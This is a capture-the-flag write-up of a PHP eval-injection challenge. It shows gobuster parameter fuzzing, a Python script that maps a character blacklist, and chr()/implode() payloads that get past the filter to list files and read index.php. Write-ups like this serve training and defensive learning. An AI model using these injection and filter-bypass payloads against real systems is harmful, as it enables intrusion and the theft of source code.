A fast gobuster with common from SecLists reveals that the index file is index.php. Since we couldn't find anything else interesting, we try to perform a parameter bruteforce.

gobuster fuzz -u http://34.159.151.77:31272/?FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --exclude-length 54

The previous command reveals ?cmd is a valif parameter. After some tests we conclude the following:

1) There is a blacklist

2) What is being executed is probably an eval since echo 1; works

3) We cannot see the source code, so we need to perform a blind blacklist bypass

I made a quick python script to reveal the blacklist.

```
import string
import requests
url = "http://34.159.151.77:31272/index.php?cmd="
characters = string.printable
blacklisted = []
non_blacklisted = []
for char in characters:
    response = requests.get(url + char)
    if "Try Harder!" in response.text:
        blacklisted.append(char)
    else:
        non_blacklisted.append(char)
print("Blacklisted characters:", "".join(blacklisted))
print("Non-blacklisted characters:", "".join(non_blacklisted))
```

The result is as follows:

Blacklisted characters: !"$%'*./[\]`{}

Non-blacklisted characters: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#&()+,-:;<=>?@^_|~

From this we conclude the following:

1) we can use chr() to bypass the blacklist

2) we should probably try to read the contents of index.php

First, we execute "ls"

cmd=print_r (scandir(implode(array(chr(46)))));

This command effectively does **scandir(.)** and prints the result. We see that index.php is in the current directory, so time to read it!

cmd=print_r(file_get_contents(implode(array(chr(46),chr(47),chr(105),chr(110),chr(100),chr(101),chr(120),chr(46),chr(112),chr(104),chr(112))));

we use **array()** to make an array out of the characters, **implode()** to merge it (like .join in python), **file_get_contents()** to read the content and **print_r()** to print the output of the command. Now all we need to do is look in the source code

Made with love by: AndreiCat